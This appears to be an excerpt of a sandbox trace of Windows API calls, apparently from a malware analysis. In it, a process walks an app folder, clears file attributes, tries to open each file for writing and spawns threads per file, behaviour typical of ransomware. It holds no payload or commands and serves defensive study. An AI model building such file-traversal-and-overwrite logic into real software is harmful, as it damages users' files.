	[0081.734] FindNextFileW (in: hFindFile=0x2d87df8, lpFindFileData=0x4746d48 | out: lpFindFileData=0x4746d48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08e5b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.734] wcscmp (_String1="..", _String2=".") returned 1
	[0081.734] wcscmp (_String1="..", _String2="..") returned 0
	[0081.734] FindNextFileW (in: hFindFile=0x2d87df8, lpFindFileData=0x4746d48 | out: lpFindFileData=0x4746d48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08f2fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0081.734] wcscmp (_String1="en-GB", _String2=".") returned 1
	[0081.734] wcscmp (_String1="en-GB", _String2="..") returned 1
	[0081.734] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x47729f0
	[0081.734] wcscpy (in: _Dest=0x47729f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService"
	[0081.734] wcscat (in: _Dest=0x47729f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\"
	[0081.734] wcscat (in: _Dest=0x47729f0, _Source="en-GB" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB"
	[0091.938] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32998
	[0091.938] wcscpy (in: _Dest=0x4e32998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB"
	[0091.939] wcscat (in: _Dest=0x4e32998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\"
	[0091.939] wcscat (in: _Dest=0x4e32998, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\*"
	[0091.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f700
	[0091.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\*", lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08f2fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b4e8
	[0091.939] wcscmp (_String1=".", _String2=".") returned 0
	[0091.939] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08f2fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.939] wcscmp (_String1="..", _String2=".") returned 1
	[0091.939] wcscmp (_String1="..", _String2="..") returned 0
	[0091.939] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd547e1a3, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x355c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TermsOfService.htm", cAlternateFileName="")) returned 1
	[0091.939] wcscmp (_String1="TermsOfService.htm", _String2=".") returned 1
	[0091.939] wcscmp (_String1="TermsOfService.htm", _String2="..") returned 1
	[0091.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5028008
	[0091.939] wcscpy (in: _Dest=0x5028008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB"
	[0091.939] wcscat (in: _Dest=0x5028008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\"
	[0091.939] wcscat (in: _Dest=0x5028008, _Source="TermsOfService.htm" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\TermsOfService.htm") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\TermsOfService.htm"
	[0091.939] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\TermsOfService.htm" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\termsofservice\\en-gb\\termsofservice.htm")) returned 0x20
	[0091.944] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\TermsOfService.htm", dwFileAttributes=0x20) returned 0
	[0091.944] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\TermsOfService.htm" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\termsofservice\\en-gb\\termsofservice.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.944] GetLastError () returned 0x5
	[0091.944] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\TermsOfService.htm", dwFileAttributes=0x20) returned 0
	[0091.944] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028008) returned 1
	[0091.944] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd547e1a3, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x355c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TermsOfService.htm", cAlternateFileName="")) returned 0
	[0091.945] FindClose (in: hFindFile=0x477b4e8 | out: hFindFile=0x477b4e8) returned 1
	[0091.945] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f700) returned 1
	[0091.945] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0091.945] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47729f0) returned 1
	[0091.945] FindNextFileW (in: hFindFile=0x2d87df8, lpFindFileData=0x4746d48 | out: lpFindFileData=0x4746d48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08fb6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0091.945] wcscmp (_String1="en-US", _String2=".") returned 1
	[0091.945] wcscmp (_String1="en-US", _String2="..") returned 1
	[0091.945] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477fa70
	[0091.945] wcscpy (in: _Dest=0x477fa70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService"
	[0091.945] wcscat (in: _Dest=0x477fa70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\"
	[0091.945] wcscat (in: _Dest=0x477fa70, _Source="en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US"
	[0091.945] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32998
	[0091.945] wcscpy (in: _Dest=0x4e32998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US"
	[0091.945] wcscat (in: _Dest=0x4e32998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\"
	[0091.945] wcscat (in: _Dest=0x4e32998, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\*"
	[0091.945] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f700
	[0091.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\*", lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08fb6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0091.945] wcscmp (_String1=".", _String2=".") returned 0
	[0091.945] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08fb6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.945] wcscmp (_String1="..", _String2=".") returned 1
	[0091.945] wcscmp (_String1="..", _String2="..") returned 0
	[0091.946] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd547e1a3, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x3a7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TermsOfService.htm", cAlternateFileName="")) returned 1
	[0091.946] wcscmp (_String1="TermsOfService.htm", _String2=".") returned 1
	[0091.946] wcscmp (_String1="TermsOfService.htm", _String2="..") returned 1
	[0091.946] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5028638
	[0091.946] wcscpy (in: _Dest=0x5028638, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US"
	[0091.946] wcscat (in: _Dest=0x5028638, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\"
	[0091.946] wcscat (in: _Dest=0x5028638, _Source="TermsOfService.htm" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\TermsOfService.htm") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\TermsOfService.htm"
	[0091.946] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\TermsOfService.htm" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\termsofservice\\en-us\\termsofservice.htm")) returned 0x20
	[0091.948] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\TermsOfService.htm", dwFileAttributes=0x20) returned 0
	[0091.948] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\TermsOfService.htm" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\termsofservice\\en-us\\termsofservice.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.949] GetLastError () returned 0x5
	[0091.949] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\TermsOfService.htm", dwFileAttributes=0x20) returned 0
	[0091.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028638) returned 1
	[0091.949] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd547e1a3, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x3a7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TermsOfService.htm", cAlternateFileName="")) returned 0
	[0091.949] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0091.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f700) returned 1
	[0091.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0091.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fa70) returned 1
	[0091.949] FindNextFileW (in: hFindFile=0x2d87df8, lpFindFileData=0x4746d48 | out: lpFindFileData=0x4746d48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08fb6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0091.949] FindClose (in: hFindFile=0x2d87df8 | out: hFindFile=0x2d87df8) returned 1
	[0091.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4746d48) returned 1
	[0091.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11168) returned 1
	[0091.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12098) returned 1

Thread:
	id = 559
	os_tid = 0x17e4

	[0077.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47c9780
	[0077.464] wcscpy (in: _Dest=0x47c9780, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources"
	[0077.464] wcscat (in: _Dest=0x47c9780, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0077.464] wcscat (in: _Dest=0x47c9780, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\*"
	[0077.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4747218
	[0077.464] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\*", lpFindFileData=0x4747218 | out: lpFindFileData=0x4747218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab089e41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac938
	[0082.876] wcscmp (_String1=".", _String2=".") returned 0
	[0082.876] FindNextFileW (in: hFindFile=0x2dac938, lpFindFileData=0x4747218 | out: lpFindFileData=0x4747218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab089e41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.876] wcscmp (_String1="..", _String2=".") returned 1
	[0082.876] wcscmp (_String1="..", _String2="..") returned 0
	[0082.876] FindNextFileW (in: hFindFile=0x2dac938, lpFindFileData=0x4747218 | out: lpFindFileData=0x4747218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd5373138, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2985, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.rsrc", cAlternateFileName="")) returned 1
	[0082.876] wcscmp (_String1="0.rsrc", _String2=".") returned 1
	[0082.876] wcscmp (_String1="0.rsrc", _String2="..") returned 1
	[0082.876] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44280
	[0082.876] wcscpy (in: _Dest=0x2e44280, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources"
	[0082.876] wcscat (in: _Dest=0x2e44280, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0082.876] wcscat (in: _Dest=0x2e44280, _Source="0.rsrc" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc"
	[0089.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e44280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c0
	[0089.837] FindNextFileW (in: hFindFile=0x2dac938, lpFindFileData=0x4747218 | out: lpFindFileData=0x4747218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd5373138, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 1
	[0089.837] wcscmp (_String1="index.txt", _String2=".") returned 1
	[0089.837] wcscmp (_String1="index.txt", _String2="..") returned 1
	[0089.837] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e44a60
	[0089.838] wcscpy (in: _Dest=0x2e44a60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources"
	[0089.838] wcscat (in: _Dest=0x2e44a60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0089.838] wcscat (in: _Dest=0x2e44a60, _Source="index.txt" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt"
	[0089.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e44a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f48
